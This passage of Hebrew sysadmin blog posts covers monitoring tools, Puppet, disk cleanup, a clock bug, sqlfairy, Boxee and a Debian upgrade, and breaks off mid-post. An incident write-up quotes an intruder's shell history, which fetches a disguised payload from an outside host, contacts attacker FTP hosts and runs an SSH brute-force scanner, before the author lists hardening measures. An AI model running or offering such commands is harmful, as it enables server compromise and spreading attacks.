כלים לתחזוקת שרתים שוטפת

כשמפעילים שרת, בשלב מסויים תמיד עולים כל מני צרכים. הכלים הבאים זמינים בשרתי לינוקס ויכולים לעזור בניהול וניתור שרתים.


Monit :
מונית, קיצור של Monitor It היא אפליקציה מסוג Watchdog שמסוגלת לנתר את השרת שלכם ולזהות בעיות, להתריע או אפילו לתקן אותן אוטומטית.

למשל, מונית יכולה

  • לוודא שהמקום הפנוי בהרדיסק לא יורד מתחת לרמה מסויימת
  • לוודא ששרת הApache לא תופס יותר מדי משאבים,ולהפעיל אותו מחדש אם הוא כן
  • לוודא שמכונה מסויימת עונה לפינגים, לחיבורי TCP או לחיבורי HTTP
  • לוודא שתהליך מסויים רץ, ולהפעיל אותו אם הוא לא (תחשבו על שרת SSH שקרס)

ועוד.
מונית גמישה מאוד, וקובץ ההגדרות מגיע עם סט דוגמאות שקל להשמיש לשרת שלכם.
מונית מגיעה עם שרת HTTP מובנה שמאפשר עיון במצב המערכת (צריך להפעיל אותו בקובץ ההגדרות), אבל הוא לא ממש נחוץ כי אפשר לקבל אימיילים על כל שינוי במצב המערכת.

Munin:
"הוגין ומונין הם העורבים של אודין האל הנורדי, הם עפו בשבילו במידגארד, רואים וזוכרים – ואז סיפרו לו מה הם ראו".
מונין זה זכרון.

מונין אוסף מידע על המערכת שלכם, ויוצר גראפים רבים ומשונים:

  • עומס על הCPU
  • צריכת זכרון
  • שגיאות בממשק הרשת
  • תעבורת רשת
  • אימיילים שתקועים בתור היוצא בשרת הדואר

ועוד ועוד.
מה שנחמד במונין זה שהוא מבוסס פלאגינים, והפלאגינים עולים אוטומטית לפי השרותים שהמערכת מריצה, אז אם יש לכם כמה מכונות שבאחד יש שרת NFS, בשני שרת MySQL ובשלישי שרת Apache, מונין על כל אחת מהמכונות יאסוף את הנתונים המתאימים אוטומטית.
מונין מבוסס שרת לקוח, יש שרת אחד שאוסף מידע מתחנות קצה. ההגדרה די קלה. צריך להגדיר את תחנות הקצה להסכים לחיבור מהשרת, ולספר לשרת מי תחנות הקצה שלו. כמובן שהשרת יכול להריץ תחנת קצה בעצמו (ואפשר לשער שברוב ההתקנות הוא יאסוף מידע רק מעצמו).
מונין מעדכן את הגראפים כל חמש דקות (ברירת המחדל) והגראפים זמינים דרך Apache.

אפשר לראות את מונין בפעולה כאן.

Puppet
Puppet, להלן פאפט, הוא כלי לניהול מרכזי של כמה שרתים.
פאפט מאפשר להגדיר את השרתים ממקום אחד, ולדאוג שהם ישארו מעודכנים, יתקינו חבילות מסויימות, יעתיקו קבצים מסויימים, ובעצם כמעט כל דבר שתרצו.
השימוש בפאפט הוא יחסית מורכב, והוא הופך למשתלם אם יש לכם כמה שרתים עם תצורה זהה או דומה, שמשתנים בצורה די תכופה (כאשר התצורה שלהם צריכה להשאר מסונכרנת).
עקומת הלמידה של פאפט די תלולה, ולא קל להתחיל להשתמש בו, אבל מצד שני – יש לפאפט ערוץ IRC מאוד מועיל בfreenode.
כמו רוב הכלים שהזכרתי, פאפט מבוסס גם הוא על מתודולגית שרת-לקוח. השרת – puppetmaster אחראי על העברת הגדרות התצורה ללקוחות. על כל מחשב רץ לקוח שאחראי לישם את ההגדרות שמגיעות מהשרת.
כאמור, פאפט מאוד גמיש. ההגדרות שלו נקבעות בקבצים בשפה הצהרתית מיוחדת. ככה נראה קובץ פאפט שכתבתי שמפעיל פיירוואל מבוסס iPKungFu (תסריט להגדרה נוחה של iptables) על מכונה מסויימת:
[code lang="bash"]
class firewalled {

package{["ipkungfu","ulogd"] : ensure => latest}

set_file{[
"/etc/default/ipkungfu",
"/etc/ipkungfu/ipkungfu.conf",
"/etc/ipkungfu/services.conf",
"/etc/ipkungfu/accept_hosts.conf",
"/etc/ipkungfu/log.conf"
]:
require => Package[ipkungfu]
}

exec { "/etc/init.d/ipkungfu restart":
subscribe => [File["/etc/ipkungfu/ipkungfu.conf"],
File["/etc/ipkungfu/accept_hosts.conf"],
File["/etc/ipkungfu/log.conf"]
],
refreshonly => true,
require => [Package[ipkungfu],Set_file["/etc/default/ipkungfu"]]
}
}
[/code]

הפקודה set_file היא פקודת מקרו שכתבתי שמעתיקה קובץ מהמאגר של פאפט אל המכונה. אפשר להעתיק בשימוש בפקודת פאפט רגילה – אבל המקרו שלי קצת יותר קצר לשימוש.
במקרה הזה, set_files מעתיקה קבצי קונפיגורציה שהגדרתי מבעוד מועד ושמתי על הpuppet-master.
הקובץ גם מוודא שיהיו הגרסאות האחרונות של pkungfu ו ulogd.
פאפט תומך בכל מני מערכות, ובכל מערכת הוא ישתמש במנהל החבילות הנכון.
פקודת הexec מפעילה מחדש את ipkungfu ברגע שאחד מהקבצים בקטע הsubscribe משתנה.
היופי הוא שברגע שזה מוגדר, כדי להוסיף firewall למכונה כל מה שאני צריך לעשות זה לכלול את הסקריפט הזה בהגדרה של המכונה. (ברמת include, לא להעתיק אותו).

קשה להתחיל להשתמש בפאפט, אבל יש מספיק חבר'ה עם רצון טוב בערוץ הIRC שלהם, ובנוסף יש לא מעט מדרכים ברשת. בכל אופן, למי שצריך לנהל יותר משתי מכונות זה כבר מתחיל להיות שווה את המאמץ.

מורידים את האשפה

היום הכוננים הקשיחים גדולים מתמיד, אבל אני עדיין מצליח להתקל במצבים כרוניים של חוסר מקום.
הסיבה לכך היא בעיקר שאני קמצן מדי כשאני מקצה מקום למחיצה הראשית של מערכת ההפעלה, בין אם זה הלינוקס שאני משתמש בו באופן שוטף שקיבל מחיצה של 24 ג'יגה (שנראתה גדולה מספיק כשהתקנתי אותו לפני שלוש-ארבע שנים), ובין אם זה חלונות המשחקים שלי שקיבל למחיצה הראשית רק 5 ג'יגה.

אז מדי פעם נגמר המקום וצריך למחוק זבל שהצטבר בכל מני פינות חשוכות של ההארדיסק.
הפרוצדורה הרגילה של כשנגמר לי המקום בדביאן היא למחוק לוגים ישנים, למחוק את המטמון של apt-get וסתם לתייר בהרדיסק ולחפש דברים גדולים.
כשנגמר לי המקום היום חשבתי שחייבת להיות דרך יותר נוחה, אז חיפשתי כזו:
[code]
root@main:~\# apt-cache search disk usage tree
kdirstat – graphical disk usage display with cleanup facilities
[/code]
נשמע מעניין, התקנתי וזה אכן בדיוק מה שרציתי.
kdirstat היא תוכנת KDE נחמדה שמאפשרת לראות בצורה נוחה אלו ספריות תופסות הרבה מקום, ואפילו לפעול לנקות אותן ישר מתוך התוכנה במגוון צורות (למחוק, לכווץ, להריץ make clean וכו').
היא מראה גם עץ ספריות שבו ברור כמה תופסת כל ספריה (עם כל המשפחה של הילדים שלה), וגם חיוון וויזואלי של כל הספריות כספריות גדולות הן ריבועים יותר גדולים (מגניב אבל לא מאוד שימושי).
בתמונה פה למשל, גיליתי שספריית הlocale תופסת 435 מגה, ונזכרתי שיש כלי בשם localepurge שמנקה אוטומטית קבצי locale לא רלוונטייים (בשפות אחרות מהשפות שהגדרתם שאתם מעוניינים בהם).
localepurge הצליח לנקות 470 מגה – כנראה הוא הצליח למצוא עוד קבצי תרגום תועים בכל מני חורים אחרים.

kdirstat

עוד ג'אנק ישן שהוא עזר לי לגלות זה קוד של קרנלים ישנים שקימפלתי בעבר, כשכל אחד תופס כמעט חצי ג'יגה!
והופה, לפני ששמתי לב – פתאום יש לי ארבע וחצי ג'יגה פנויים (במחיצה של 24 ג'יגה זה לא מעט בכלל).

למשתמשי חלונות המרובים שקוראים פה, תעברו ללינוקס.
סתם, יש לי גם כמה טיפים בשבילכם:
0. נסו את WinDirStat (ותודה לאריה)
1. תבטלו את הSystem restore ממאפייני המערכת, הוא תופס עשרות אם לא מאות מגה בייטים.
2. תזיזו את קובץ הדפדפוף למחיצה שונה מזו שחלונות מותקנת בה (שוב, מאפייני מערכת).
3. תזיזו את ספריית הTEMP למחיצה אחרת. (כן, ניחשתם – מאפייני מערכת)
4. תסירו תוכנות שמנות, ותתקינו אותן במחיצה אחרת.

בעיית שעון בשרתי לינוקס

לאחרונה נתקלתי בבעיה עיקשת וקשה לפיתרון:
השעון של אחד השרתים שאני אחראי אליהם החליט שדיוק זה לא הקטע שלו, ונדד משהו כמו ארבע שעות בכל יום.
סינכרון NTP יומי גרם לקפיצת זמן של 4-5 שעות בכל פעם, וברור היה שצריך לפתור את הבעיה האמיתית.
החשוד המיידי בבעיות שעון בדרך כלל הוא הBIOS או הסוללה של הCMOS, והפתרון הכי זריז אם זו אכן הבעיה היא להעביר את הדיסק של השרת למכונה אחרת.
חברת ההוסטינג עשתה את זה, והתברר שזה לא פתר את הבעיה.
כדי לעשות דברים יותר מעניינים, אני אוסיף ואגיד שיש בחווה ארבעה שרתים, חלקם עם חומרה כמעט זהה לזו של השרת המאחר והם לא סבלו מהבעיה.
בנוסף, כל השרתים הריצו דביאן Etch עם קרנל 2.6.18 סטנדרטי של דביאן (שהיא הגרסא הרשמית של דביאן Etch), בהבדל אחד: המכונה המאחרת הריצה קרנל של 64 ביט.
לא משהו שאמור לגרום לכזו בעיה, אבל בכל זאת הבדל.
השוואה של קבצי הקונפיגורציה של הקרנלים (בדיביאן קרנלים סטנדרטיים מגיעים עם קובץ הקונפיגורציה שאיתו קומפל הקרנל והוא יושב בספריית /boot) הראתה הבדל מעניין בין הקרנל המאחר לבין אלו שלא:
הקרנל המאחר לא קומפל עם GENERIC_TIME, והאחרים כן.
עדיין לא מוכיח כלום, אבל מעניין.
מסתבר שבלינוקס יש כמה מקורות לעדכון השעון הפנימי, חלקם מדוייקים יותר, חלקם מדוייקים הרבה פחות.
המקורות של הקרנל שרץ כרגע זמינים בקובץ
[code]
/sys/devices/system/clocksource/clocksource0/available_clocksource
[/code]
במכונה המאחרת היה זמין רק מקור אחד עם שם מוזר: jiffies
שהוא גם המקור הכי לא מדוייק שיש (למעשה הקרנל מעדכן איזה משתנה פנימי בקצב שאמור להיות תואם את המציאות, מה שלא ממש עובד)

במכונות האחרות היו זמינים כמה מקורות: acpi_pm jiffies tsc pit

ברגע שעידכנתי את הקרנלים בכל המכונות לגרסא 2.6.26, הבעיה נפתרה ולכל השרתים היו את אותם מקורות שעון.

סיסמאות קלות מדי

לא כיף לקום בבוקר ולראות בתיבת האימייל שלכם הודעה על כך שיצאה התקפת SSH מהשרת שלכם ושהוא כנראה נפרץ.
ככה בדיוק התחיל היום שלי אתמול.

נכנסתי לשרת, חצי נבוך וחצי לא מאמין – וראיתי שאחד המשתמשים מחובר.
הצצתי בקובץ .bash_history שלו, שמכיל את רשימת הפקודות האחרונות שהוא הריץ (אם הוא לא מספיק חכם כדי למנוע מBASH לרגל אחריו, הוא לא האקר מי יודע) , וזה אכן נראה חשוד.
הנה חלק ממה שעשה התכשיט:
[code]
wget **.***.com/botflod.jpg
tar zxvf botflod.jpg
cd …
ls -a
rm -rf *.seen
ls -a
vi mech.set
vi 1
./httpd
ps x
kill -9 21036
w
cat vuln.txt
cat /proc/cpuinfo
cd ..
ls -a
ftp -v alexhk.ueuo.com
ftp -v alexhk.ro
tar zxvf ssh.tgz
cd ssh
./a 199.3
./a 82.211
./a 222.126
./a 89.171
./a 71.249
./a 218.80
./a 218.106
./a 194.116
[/code]

שיניתי את הסיסמא של המשתמש, והרגתי את כל התהליכים שרצו תחת שם המשתמש שלו (מה שכמובן ניתק את המשתמש)
[code]
killall -u username
[/code]
מכיוון שאני די פרנואידי (אבל מסתבר שלא מספיק) בכל מה שקשור לאבטחה, תכננתי את השרת ככה שמשתמש רגיל לא יכול לעשות שום דבר חוץ מלדפוק את עצמו, ולכן הייתי יותר רגוע כשהבנתי שהוא לא השיג גישת ROOT.
אז איך הוא נכנס?

פשוט מאוד – סיסמא קלה.
שם המשתמש שייך למשתמש חדש שבחרתי לו סיסמא קלה והגדרתי שהוא חייב לשנות אותה בכניסה הראשונה.
המשתמש האמיתי עדיין לא נכנס, ולכן הסיסמא הקלה נשארה.

מה שהפורץ עשה אחרי שהוא ניחש את הסיסמא זה להפעיל סורק SSH שהתחבר לכתובות IP באופן שיטתי (אפשר לראות שהוא ניסה תחומי כתובות שלמים) ופשוט ניחש סיסמאות לפי קובץ סיסמאות מוכן.
מספיק שהוא יצליח להיכנס בשבריר אחוז מהנסיונות כדי להרחיב את רשימת השרתים שיש לו אליהם גישה.
בטח על חלק מהשרתים הוא גם מצליח להשיג גישת ROOT באותה שיטה.

אז מה עושים כדי להימנע מזה בעתיד?
קודם כל, לא בוחרים סיסמאות קלות, אפילו לא לזמן קצר (שעלול להמתח לזמן ארוך בלי שתדעו).
בשביל זה יש כלים פשוטים שמייצרים סיסמאות מאובטחות.
הבעיה עם סיסמאות מאובטחות היא שבדרך כלל קשה מאוד לזכור אותן.
יש כמה כלים שיודעים לייצר סיסמאות שגם קל לזכור, למשל gpw (Generate password) שנמצא בחבילת דביאן עם שם תואם.
gpw מייצר סיסמאות שניתן להגות, מה שעוזר לזכור אותן, למשל:
[code]
$gpw
outskyst
omaticts
liestogg
erlishit
duckslyt
ityingli
fackersa
sappityr
rachecke
lithhoss
[/code]
אז בתור התחלה, אפשר להשתמש בgpw כדי לבחור סיסמאות למשתמשים חדשים.

צעד מתבקש נוסף הוא לדרוש מורכבות מינימלית מסיסמאות של משתמשים, בשביל זה אפשר להשתמש בPAM ובCracklib.
כמו תמיד עם דביאן, זה יותר פשוט ממה שזה נשמע:
[code]
apt-get install libpam-cracklib
[/code]

ואז עריכת הקובץ /etc/pam.d/common-password והוספת הערה לפני השורה הראשונה, והסרת ההערות מהשתיים האחרות:
[code]
#password required pam_unix.so nullok obscure min=4 max=8 md5

password required pam_cracklib.so retry=3 minlen=6 difok=3
password required pam_unix.so use_authtok nullok md5
[/code]

אפשר גם לדרוש החלפה של הסיסמא לכל היותר תוך מספר ימים מסויים על ידי עריכה של /etc/login.defs ושינוי הערך של PASS_MAX_DAYS

בדיקה נוספת שאפשר לבצע היא בדיקה שיטתית של הסיסמאות במערכת שלכם הן חזקות או לא על ידי הפעלת תוכנה שמנסה לפרוץ אותן באופן קבוע.
תוכנה כזו היא john המרטש שמנסה לפרוץ את הסיסמאות המקומיות ממש כאילו היא האקר עויין, רק שאם היא מצליחה היא תדווח לכם ואם תרצו גם למשתמש הספציפי שהסיסמא שלו חלשה.
מכיוון שהוא רצה כROOT היא יכולה לבצע את נסיון הפריצה ישירות על הקובץ, מה שיהיה יעיל יותר מאשר לנסות להיכנס דרך SSH.
בהתקנת ברירת המחדל בדביאן ג'והן המרטש מתקין ג'וב קרון שרץ בלילה בין 1 בלילה ל7 בבוקר (זמן שרת), אבל צריך לאפשר אותו על ידי הסרה של ההערות מהשורות הבאות בקובץ /etc/cron.d/john (פשוט מחיקת ה# המקדימים)
[code]
#00 1 * * * root [ -x /usr/share/john/cronjob ] && nice /usr/share/john/cronjob start
#00 7 * * * root [ -x /usr/share/john/cronjob ] && /usr/share/john/cronjob stop
[/code]

כלי נוסף שאפשר להתקין הוא tripwire שעוקב אחרי שינויים בלתי קרואים לקבצי מערכת.
הזמן הנכון להתקין את tripwire הוא לפני שהמערכת שלכם נפרצה (ואני מדבר על פורץ שהשיג גישת ROOT).
אחרי ההתקנה עם apt-get עקבו אחרי ההוראות הפשוטות פה כדי ליצור את בסיס הנתונים שמולו tripwire יזהה שינויים בעתיד.
מומלץ מאוד לאכסן את בסיס הנתונים של tripwire במקום ללא גישת כתיבה כדי למנוע מתוקף עם גישת ROOT לשנות את בסיס הנתונים ובכך להסתיר את השינויים שהוא עשה.

אני בטוח שיש עוד הרבה דברים פשוטים שאפשר לעשות, מה אתם עושים?

World of Goo

במהלך חיפוש אחרי המשחק הבא שלי בGamespot גיליתי את World of Goo, משחק פאזלים שקיבל את הציון המבטיח 9.
הורדתי אותו מרשת הביטורנט הקרובה לביתי (ISO פצפון של 150 מגה), התקנתי והתאהבתי במשחק.
עבר הרבה זמן מאז שראיתי משחק מקורי באמת.
המשחק הוא בעצם סימולציה פיזיקלית של ג'יפות קטנות בשם Goo, מכל מני סוגים.
המטרה, בדומה למטרה בלמינגס היא להביא כמות מסויימת של ג'יפוני גו למשאבה שמעבירה אל השלב הבא.
כדי להגיע לשם, בונים מהג'יפונים מגדלים, גשרים ומה לא.
המשחק פשוט כיף צרוף.

אחרי ששיחקתי בו רבע שעה החלטתי שהוא שווה קניה.
קפצתי לאתר של החברה המפתחת, 2dboy , גיליתי שהמשחק פותח על ידי שני חבר'ה בלבד, קייל גבלר ורון כרמל (משלנו?), שיושבים בסן פרנסיסקו.
הדבר הבא שראיתי היה שבקרוב הם ישחררו גרסא ללינוקס.
מייד זיהיתי שמדובר באתר שמריץ וורדפרס, בדיקה נוספת חשפה שהם משתמשים בפיירסטטס.
שלחתי להם אימייל עם הצעה להחלפת רשיון פיירסטטס ברשיון למשחק, אבל הבהרתי באימייל שהם יכולים להמשיך להשתמש בפיירסטטס חופשי, ושאם הם לא רוצים להחליף רשיונות אני אקנה את המשחק.
לשמחתי קייל חזר אלי והסכים מיד.
אז עכשיו יש לי עותק חוקי של המשחק, ואני ממליץ בחום לכל מי שמחפש משחק פאזלים חמוד בטירוף לקנות עותק (רק 20$).

sqlfairy

הסיטואציה הבאה תהיה מוכרת לכמה מפתחים:

בחברה עובדים על תוכנה בצד השרת שכוללת בסיס נתונים. כמובן שלא מפתחים ישירות על מערכת הפרודקשן, אלא על מערכת דומה – ואולי אפילו כל מפתח עובד על גרסא מקומית של בסיס הנתונים.

במשך הזמן, מפתחים משנים את המבנה של בסיס הנתונים, מוסיפים טבלות,עמודות ואינדקסים, ואולי גם מוחקים כמה.
יכול להיות שיש יותר ממפתח אחד שעושה את זה.

איך מעבירים את השינויים האלו למערכת הפרודקשן?

אם מערכת הפרודקשן עדיין לא למעלה, אפשר כמובן להעיף את בסיס הנתונים וליצור את הכל מחדש, אבל זה לא המקרה בדרך כלל.
אופציה אחרת היא לשאול את המפתחים, מה שיניתם? אבל הם אחרי שבועיים, אף אחד לא זוכר בדיוק מה הוא שינה כדי לפתור באג אזוטרי זה או אחר או כדי להוסיף פיצ'ר מסויים, וכמובן שאף אחד לא רושם דברים כאלו.
אופציה שלישית היא להשוות ידנית, לא כיף גדול ומועד לטעויות.

אבל חייבת להיות דרך לבצע אוטומציה של האופציה השלישית, זה תהליך די מכאני.
מסתבר שיש דרך, כלי בשם SQLFairy שמאפשר לקבל הבדלים בין שתי סכימות MySQL ומפיק הוראות MySQL למעבר מסכימה אחת לשניה. הוא מאפשר עוד כמה דברים, אבל אני חושב שזה הכי מעניין.
תיאורטית הכלי תומך גם במעבר בין בסיסי נתונים שונים, אבל קיבלתי רושם שזה עובד ממש רק עם MySQL.

בגדול, כדי לעבור מסכימה אחת לשניה, מה שצריך לעשות זה להוריד את המבנה של שני הסכימות לקובץ עם mysqldump, למשל:
[code]
source db.conf
mysqldump –no-data -h $HOST -u $USER –password=$PASS $DB_NAME $TABLES | gzip > struct.sql.gz
[/code]

כאשר הקובץ db.conf מכיל את המשתנים הדרושים להתחבר:
[code]
HOST=server_host (usually localhost)
USER=username
PASS=password
DB_NAME=database_name
TABLES="table1 table2 table3"
[/code]

ברגע ששיש לנו את שתי הסכימות ביד, ואחרי שהתקנו את SQLFairy כמובן (apt-get install sqlfairy על דביאן לני, אם אתם על Etch תתקינו ידנית מהקוד, הגרסא שבEtch לא עובדת טוב), אפשר לקבל הוראות מעבר מסכימה אחת לשניה כך:
[code]
sqlt-diff current.sql=MySQL new.sql=MySQL 2> /dev/null > diff.sql
[/code]

זה יפיק הוראות מעבר (CREATE , ALTER, DROP) שיהיה אפשר להריץ על בסיס הנתונים כדי לישר קו בין הסכימות.
(אני שולח את stderr ל/dev/null כי יש אזהרות חסרות חשיבות מהסקריפט שנובעות מגרסת perl יותר חדשה מזו שהסקיפט פוחת עליה)
אני משתמש בסקריפט דומה לזה כדי להפוך את התהליך ליותר קל (הקובץ prod-struct.sql.gz מכיל את מבנה הסכימה שאני רוצה לקבל) :
[code]
#! /bin/bash
source db.conf
mysqldump –no-data -h $HOST -u $USER –password=$PASS $DB_NAME $TABLES > current.sql
zcat prod-struct.sql.gz > new.sql
sqlt-diff current.sql=MySQL new.sql=MySQL 2> /dev/null > diff.sql
cat diff.sql
echo "Type yes to apply changes"
read RESP
[[ $RESP == "yes" ]] || { rm -f current.sql diff.sql new.sql;exit; }
echo "updating database structure"
cat diff.sql | mysql -h $HOST -u $USER –password=$PASS $DB_NAME
rm current.sql new.sql diff.sql
[/code]

עקב הירידה במחיר הדלק, קרוסאובר בחינם, רק היום

תומר כהן מספר שקוד וויברס מחלקים היום רשיונות שימוש לCrossover pro.
Crossover הוא מעטפת נוחה שמאפשרת התקנה והפעלה של ישומי חלונות על לינוקס ומק שמבוססת על wine.

שווה לנסות, פעם אחרונה שניסיתי התרשמתי מהנוחות מקלות השימוש, אבל
אני אישית הזמנתי שני סריאלים :).

האתר של קוד וויברס קצת קרס בגלל שמישהו דיגג (מלשון Digg) פוסט שמספר על המבצע.

הסיבה, עד כמה שזה נשמע תלוש, היא ירידת מחירי הדלק.
מסתבר שג'רמי ווייט, מנכל קוד וויברס איתגר את ג'ורג' בוש שאם מחיר הדלק ירד בזמן הכהונה שלו לרמה מסויימת כל מוצרי החברה יחולקו חינם ליום אחד.

בוקסי

בוקסי היא מערכת מדיה סנטר שמבוססת על המערכת פתוחת הקוד xbmc ומפותחת על ידי.. בוקסי, סטארטאפ ישראלי.
כיאה למערכת שמבוססת על מערכת אחרת בקוד פתוח, בוקסי בעצמה היא פתוחת קוד ומשוחררת ברשיון GPL ותחת עוד כמה רשיונות קוד פתוח (למרות שלא הצלחתי למצוא אישוש להנחה הזו בשום מקום).
בנוסף, הצוות של בוקסי משחרר קוד כל הזמן לפרוייקט XBMC, למשל את הפורטים ללינוקס ואולי גם לMac הם תרמו חזרה לפרוייקט. (תרומה משמעותית במיוחד).

בוקסי נמצאת בשלב האלפא, מה שאומר שיש באגים ויש בעיות שמישות.
מצד שני, בוקסי נמצאת בפיתוח מהיר ומתמיד, ורואים שיפורים מגרסא לגרסא.

אחד הדברים הבולטים שמבדילים את בוקסי ממערכות מדיה סנטר אחרות הוא שבוקסי היא מערכת מדיה סנטר חברתית, שמאפשרת לכם לדעת במה החברים שלכם צופים, וכן להמליץ ולקבל המלצות מהחברים.
למי שמודאג מהפרטיות, אפשר להגדיר דרך האתר שבוקסי תחלוק מידע עם כל העולם, רק עם חברים או עם אף אחד.
בוקסי תומכת בהזרמת וידאו ממגוון שרותים כולל hulu, קומדי סנטרל ועוד.
Hulu חסום למי שאינו תושב ארצות הברית, אבל ניתן לקוות שבשלב מסויים תהיה לו חלופה שעובדת בארץ (קשה לי להאמין שהולו "ישדרו" אל מחוץ לארצות הברית).
אחד הדברים הנחמדים הוא שבוקסי מאפשרת צפייה בטריילרים של סרטים, אפילו של סרטים שיש לכם (יכול לעזור להחליט באיזה סרט בא לכם לצפות עכשיו).

המערכת פשוט יפהפיה, והממשק נוח מאוד ברובו ומתאים לשלט, למקלדת ולעכבר.
בזמן ניגון סרט, תוכלו לנווט בתפריטים כאשר הסרט ממשיך לנגן מתחת לתפריטים החצי שקופים. ממש איכות חיים.

המסך הראשי של בוקסי מחולק לארבעה חלקים:
* המלצות חברים, שמכיל המלצות אחרונות של חברים שלכם.
* פעילות חברים אחרונה, שמכיל את הדברים האחרונים שראו או שמעו החברים שלכם
* קבצים שנוספו לאחרונה לאוסף שלכם
* דברים שעשיתם לאחרונה – מה ראיתם או שמעתם.
חוץ מזה, יש בצד שמאל של המסך תפריט נסתר שמאפשר עייון באוסף שלכם, צפיה בוידאו מוזרם מאתרים (כן, גם מיוטיוב – הידד!), הגדרות של בוקסי ועוד.

בוקסי כוללת גם לקוח ביט טורנט מובנה, שמאפשר להוריד תוכן חוקי למהדרין.
ניתן להוסיף פיד רסס מכל מקום אחר, והמבין יבין.
השילוב עם לקוח הביט טורנט עדיין בסיסי ויש עוד מה לשפר, אבל זו התחלה טובה.

הדבר הראשון שבוקסי עושה אחרי שמפעילים אותה ומוסיפים כמה מקורות וידאו ומוסיקה (במילים אחרות, מספרים לבוקסי איפה ספריית המדיה שלכם) זה לסרוק את הספריה, ולאסוף עליה מידע דרך מגוון שרותים באינטרנט.
בוקסי תשיג את הארטוורק של עטיפות הסידים של המוסיקה שלכם, את ה"פוסטרים" של הסרטים והסדרות, ובמקרה והיא לא הצליחה למצוא היא פשוט תציג תמונה מתוך קובץ הווידאו במקרה של וידאו.
חוץ מגרפיקות, בוקסי גם תביא תקצירים של סרטים וסדרות, אפילו ברמת הפרק הבודד (!).
לפעמים בוקסי לא מצליחה לזהות, או אפילו טועה בזיהוי. במקרים האלו תוכלו לעזור לה ולתקן אותה.

בזמן ניגון סרט, בוקסי מאפשרת חיפוש כתוביות אוטומטית לפי הסרט או הסדרה או לפי שם הקובץ במידה והקובץ לא מזוהה.
החוויה ממש מרעננת, במקום ללכת למחשב ולהתחיל לחפש תרגום מתאים, אפשר לעשות את זה מהסלון עם השלט ישר מתוך בוקסי, ולהתחיל להשתמש בתרגום לסרט בזמן שהסרט רץ, בלי להחסיר פריים.

עוד תכונה מרעננת, במיוחד למורידי הסדרות הסדרתיים – היא היכולת לנגן סרט ישירות מתוך קובץ הRAR, אפילו אם מדובר בRAR עם כמה קבצים.
בוקסי מתחילה לנגן מיד, בלי לחכות שהקובץ יפרש (במילים אחרות, בוקסי עושה הזרמת וידאו ישר מתוך הRAR).
לא הבחנתי בירידת ביצועים בזמן הצפיה בסרט מתוך RAR.
הבעיה עם זה שנכון לכרגע בוקסי לא מזהה ולא מאפשרת לעזור לה לזהות קבצים בתוך RAR, אבל אני בטוח שהחברה הטובים בבוקסי יפתרו את הבעיה הזו.

נכון לכרגע, בוקסי תומכת רשמית בMac, בAppleTV ובאובונטו לינוקס, אבל החל מהגרסא האחרונה ששוחררה היא גם עובדת על דביאן לני.
צפויה גם גרסאת חלונות בעוד כמה חודשים.

בוקסי לא חפה מבעיות, אבל היא אלפא ולכן אפשר לסלוח.
חלק קטן מהבאגים שנתקלתי בהם:
* תרגומים בעברית מוצגים כג'יבריש, כנראה חסר פונט.
* המערכת די יציבה, אבל יש קריסות עקביות אצלי בניגון קבצי מוסיקה, וכן קריסות אקראיות בסיטואציות מסויימות שטרם הצלחתי לאפיין.

כאמור, המערכת באלפא וכדי לנסות אותה צריך הזמנה.
מי שרוצה הזמנה שיבקש, אני אנסה לשלוח (אני לא יודע אם יש הגבלה על מספר ההזמנות שאני יכול להוציא).

הנה סירטון קצר שמדגים את יכולות המערכת:

quick intro to boxee from boxee on Vimeo.

אם לסכם,
אני מת על המערכת הזו, שידרוג אסטרונומי מfreevo בו השתמשתי עד עכשיו.
מומלץ בחום.

שדרוג דביאן Etch לLenny

שדרגתי את השרת שמפעיל את הבלוג הזה ואת האתר של פיירסטטס מדביאן Etch לדביאן Lenny.
הסיבה היא שקצתי בחבילות ישנות, ספציפית יש לי בעיה באתר של פיירסטטס (שרץ על trac) שמאוד יכול להיות שנובעת מגרסא ישנה של python ו/או גרסא ישנה של sqlite.

בכל אופן, השדרוג לא היה חלק במיוחד, אבל נראה שהוא הסתיים בהצלחה.
באופן רגיל, שדרוג של הפצת דביאן מתבצע כך:
משנים את /etc/apt/sources.list ומחליפים כל אזכור של etch בlenny.
מבצעים apt-get update
מבצעים apt-get dist-upgrade
ומקווים לטוב.

במקרה שלי, הוספתי שני שלבים נוספים:
אני משתמש בסקריפט בשם ipkungfu שאחראי להגדיר את הפיירוואל של השרת. הממשק שלו הרבה יותר ידידותי מזה של iptables (והוא בסך הכל מעטפת שדואגת שאני לא אצטרך להשתמש בiptables ישירות).
מכיוון שאני יודע שהיה שינוי בתחביר מהגרסא הישנה שבEtch לגרסא שבLenny, דאגתי לכבות את הפיירוואל לפני העדכון כדי לא לנעול את עצמי מחוץ למערכת בטעות.
לא בטוח שזה מה שהיה קורה, אבל עדיף להיות בטוח.

כדי לצמצם את הזמן שהאתר היה למטה, הורדתי מבעוד מועד את כל החבילות על ידי הרצת:
apt-get dist-upgrade –download-only
שמוריד את מה שצריך אבל לא מתקין.

אחרי ההכנות האלו, הרצתי dist-upgdade רגיל בתקוה שההרפתקאה לא תהפוך לסופת חרא.
אחרי השדרוג, הבעיה הראשונה שהבחנתי בה היתה שהאפאצ'י מתלונן על זה:
[code]
apache2[Fri Oct 24 19:09:36 2008] [warn] NameVirtualHost *:80 has no VirtualHosts
[/code]
מסתבר שהחברים בדביאן החליטו להוסיף את ההצהרה על שימוש בהוסטים וירטואליים לקובץ הports.conf, מה שאמר שהיו שתי הצהרות כאלו.
הודעת השגיאה הסתומה שקיבלתי היא התוצאה.
הסרתי את ההגדרה שלי והבעיה נעלמה.

בעיה נוספת היא שtrac הפסיק לעבוד.
האמת היא שמכיוון שלא התקנתי את trac דרך apt-get הייתי מופתע אם הוא ההיה ממשיך לעבוד.
הסיבה הפעם היא שדביאן לני מתשמש בPython 2.5 ומכיוון שתוכניות פייתון מותקנות משום מה לתוך ספריה שספציפית לגרסאת הפייתון, הייתי צריך להתקין מחדש את trac לתוך פייתון 2.5.
עד כאן הכל טוב.

בעיה נוספת הגיעה מהכיוון של שרת הדואר postfix.
השרת הזה עדיין לא משמש אותי לקבלת דואר (אני עדיין משתמש בשרת שבבית למטרה הזו) אבל הוא כן משמש לשליחת דואר.
בשלב מסויים שמתי לב שאני לא מקבל אימיילים על טיקטים חדשים שנוספו לtrac, מה שמייד החשיד את מערכת הדואר.
נראה שברגעים אלו ההתקנה של postfix בלני שבורה, ונאלצתי לדרדס קבצים מהמחשב בסלון שגם מריץ את לני כדי להצליח בהתקנה.

בעיה אחרונה הגיעה מהכיוון של ipkungfu, סקריפט הפיירוואל.
